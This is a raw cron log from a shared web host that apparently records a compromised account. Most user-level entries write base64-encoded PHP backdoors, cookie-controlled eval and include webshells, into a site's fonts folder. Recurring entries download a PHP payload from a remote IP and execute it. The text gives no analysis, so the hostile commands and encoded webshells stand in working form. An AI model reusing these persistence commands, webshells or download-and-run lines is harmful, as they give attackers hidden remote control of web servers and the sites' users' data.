Sep  6 11:02:01 ip-184-168-122-23 CROND[30624]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 11:02:01 ip-184-168-122-23 CROND[30627]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 11:03:01 ip-184-168-122-23 CROND[31019]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 11:03:01 ip-184-168-122-23 CROND[31022]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 11:03:01 ip-184-168-122-23 CROND[31020]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 11:03:01 ip-184-168-122-23 CROND[31021]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 11:04:01 ip-184-168-122-23 CROND[31199]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 11:04:01 ip-184-168-122-23 CROND[31202]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 11:04:01 ip-184-168-122-23 CROND[31201]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 11:04:01 ip-184-168-122-23 CROND[31203]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 11:04:01 ip-184-168-122-23 CROND[31204]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 11:05:01 ip-184-168-122-23 CROND[31295]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 11:05:01 ip-184-168-122-23 CROND[31297]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 11:05:01 ip-184-168-122-23 CROND[31300]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  6 11:05:01 ip-184-168-122-23 CROND[31299]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 11:05:01 ip-184-168-122-23 CROND[31298]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 11:05:01 ip-184-168-122-23 CROND[31301]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 11:05:01 ip-184-168-122-23 CROND[31303]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 11:06:01 ip-184-168-122-23 CROND[31426]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 11:06:01 ip-184-168-122-23 CROND[31428]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 11:06:01 ip-184-168-122-23 CROND[31429]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 11:06:01 ip-184-168-122-23 CROND[31431]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 11:06:01 ip-184-168-122-23 CROND[31430]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 11:07:01 ip-184-168-122-23 CROND[31714]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 11:07:01 ip-184-168-122-23 CROND[31715]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 11:07:01 ip-184-168-122-23 CROND[31716]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 11:07:01 ip-184-168-122-23 CROND[31717]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 11:08:01 ip-184-168-122-23 CROND[32219]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 11:08:02 ip-184-168-122-23 CROND[32221]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 11:08:02 ip-184-168-122-23 CROND[32222]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 11:08:02 ip-184-168-122-23 CROND[32224]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 11:08:02 ip-184-168-122-23 CROND[32223]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 11:09:01 ip-184-168-122-23 CROND[32508]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 11:09:01 ip-184-168-122-23 CROND[32511]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  6 11:09:01 ip-184-168-122-23 CROND[32512]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 11:09:01 ip-184-168-122-23 CROND[32510]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 11:09:01 ip-184-168-122-23 CROND[32513]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 11:10:01 ip-184-168-122-23 CROND[512]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 11:10:01 ip-184-168-122-23 CROND[514]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 11:10:01 ip-184-168-122-23 CROND[516]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 11:10:01 ip-184-168-122-23 CROND[517]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  6 11:10:01 ip-184-168-122-23 CROND[520]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 11:10:01 ip-184-168-122-23 CROND[518]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 11:10:01 ip-184-168-122-23 CROND[522]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 11:10:01 ip-184-168-122-23 CROND[519]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 11:11:01 ip-184-168-122-23 CROND[913]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 11:11:01 ip-184-168-122-23 CROND[915]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 11:11:01 ip-184-168-122-23 CROND[914]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 11:11:01 ip-184-168-122-23 CROND[916]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 11:12:01 ip-184-168-122-23 CROND[1451]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 11:12:01 ip-184-168-122-23 CROND[1454]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 11:12:01 ip-184-168-122-23 CROND[1453]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 11:12:01 ip-184-168-122-23 CROND[1456]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 11:12:01 ip-184-168-122-23 CROND[1457]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 11:13:01 ip-184-168-122-23 CROND[1969]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 11:13:01 ip-184-168-122-23 CROND[1970]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 11:13:01 ip-184-168-122-23 CROND[1974]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 11:13:01 ip-184-168-122-23 CROND[1973]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 11:14:01 ip-184-168-122-23 CROND[2490]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 11:14:01 ip-184-168-122-23 CROND[2493]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 11:14:01 ip-184-168-122-23 CROND[2492]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 11:14:01 ip-184-168-122-23 CROND[2494]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
